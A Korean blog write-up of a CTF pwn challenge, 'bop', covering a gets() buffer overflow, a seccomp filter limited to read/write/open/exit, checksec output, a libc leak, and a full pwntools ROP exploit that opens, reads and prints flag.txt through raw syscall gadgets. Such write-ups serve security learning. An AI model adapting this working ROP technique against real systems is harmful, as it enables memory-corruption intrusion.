728x90
반응형
1. intro
한 문제 풀고 나머지는 좌절한 CTF...
2. code 및 분석
2.1. code
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v4[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
printf("Do you bop? ");
return gets(v4);
}
2.2. 분석
코드는 참 간결했다.
출력 하나하고 gets로 값을 받아들인다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow
3.2. 공격 준비
ida로 파일을 열었을 때 바로 보이는 함수가 seccomp 였다.
그래서 확인해봤더니 아래와 같았다.
┌[wyv3rn🐲]-(/mnt/c/hacking/bop)
└> seccomp-tools dump ./bop
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
추가로 보호기법을 확인해 봤는데, 아래와 같았다.
gef➤ checksec
[+] checksec for '/mnt/c/hacking/bop/bop'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
결국 셀을 따는건 어렵고, NX로 인해 코드 실행도 어려우니
rop을 통해 플래그 파일을 열고 읽고 출력해야한다.
쓸 수 있는 함수가 정해져있다보니 got overwrite고 뭐고 다 쓸모가 없었다.
우선 leak을 위해 서버에 데이터를 조금 보내봤고, leak 된 주소를 토대로 libc 버전을 확인했고 아래와 같았다.
┌[wyv3rn🐲]-(~/libc-database)-[git://master ✔]-
└> ./find setbuf ad0
ubuntu-old-glibc (libc6_2.3.6-0ubuntu20.6_i386_2)
ubuntu-glibc (libc6_2.31-0ubuntu9.9_amd64)
요즘 인터넷 libc database 들이 죄다 이상해서...
로컬로 준비해놓길 잘했다.
어쨌든, 이렇게 leak 이후에 처음에는 csu를 사용하려 하였는데,
파일을 읽기 위해 open 함수의 offset을 구하려 하였으나 아무리 구해봐도 syscall NR 2인 open 함수를 못찾겠다.
게다가 ELF로 libc 로드 후 symbol로 구해지는 open 함수 또한 openat을 불러왔다 -_-
openat 함수는 syscall NR가 240 이기에 seccomp에 의해서 실행이 불가능했다.
그래서 결국
pop rax ; ret
syscall ; ret
gadget을 찾아 직접 syscall NR와 함께 해당 함수를 실행시켜줬다.
이를 통해 나름 배운점 / 느낀점도 있었다.
4. exploit
from pwn import *
def prt(a): return print(hex(a))
p = remote('mc.ax', 30284)
#p = process('./bop')
e = ELF('./bop',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
#rcu & leak
rdi = 0x00000000004013d3
rsi = 0x00000000004013d1
#rdx = libc_base + 0x0000000000142c92
main = 0x4012f9
pay = b'a' * (8*5)
pay += p64(rdi)
pay += p64(e.got['setbuf'])
pay += p64(rsi)
pay += p64(0)
pay += p64(0)
pay += p64(e.plt['printf'])
pay += p64(rdi)
pay += p64(e.bss()+0x50)
pay += p64(e.plt['gets'])
pay += p64(main)
p.sendlineafter(b'Do you bop? ',pay)
setbuf = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
base = setbuf - libc.sym['setbuf']
rdx = base + 0x0000000000142c92
p.sendline(b'flag.txt')
sysc_ret = base + 0x13a5ab
rax = base + 0x0000000000036174
pay = b'a' * (8*5)
pay += p64(rdi)
pay += p64(e.bss()+0x50)
pay += p64(rsi)
pay += p64(0)
pay += p64(0)
pay += p64(rax)
pay += p64(2)
pay += p64(sysc_ret)
pay += p64(rdi)
pay += p64(3)
pay += p64(rsi)
pay += p64(e.bss()+0x50)
pay += p64(0)
pay += p64(rdx)
pay += p64(0xff)
pay += p64(rax)
pay += p64(0)
pay += p64(sysc_ret)
pay += p64(rdi)
pay += p64(1)
pay += p64(rsi)
pay += p64(e.bss()+0x50)
pay += p64(0)
pay += p64(rdx)
pay += p64(0xff)
pay += p64(rax)
pay += p64(1)
pay += p64(sysc_ret)
p.sendlineafter(b'Do you bop? ',pay)
print(p.recv(1024))
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
BB CTF 2023 - Medium pwn (0) | 2023.02.06 |
---|---|
BB CTF 2023 - Easy pwn (0) | 2023.02.06 |
KnightCTF 2023 - KrackMe 1.0 (0) | 2023.01.23 |
idekCTK 2022 - Typop (0) | 2023.01.16 |
IRIS CTF - ret2libm (0) | 2023.01.10 |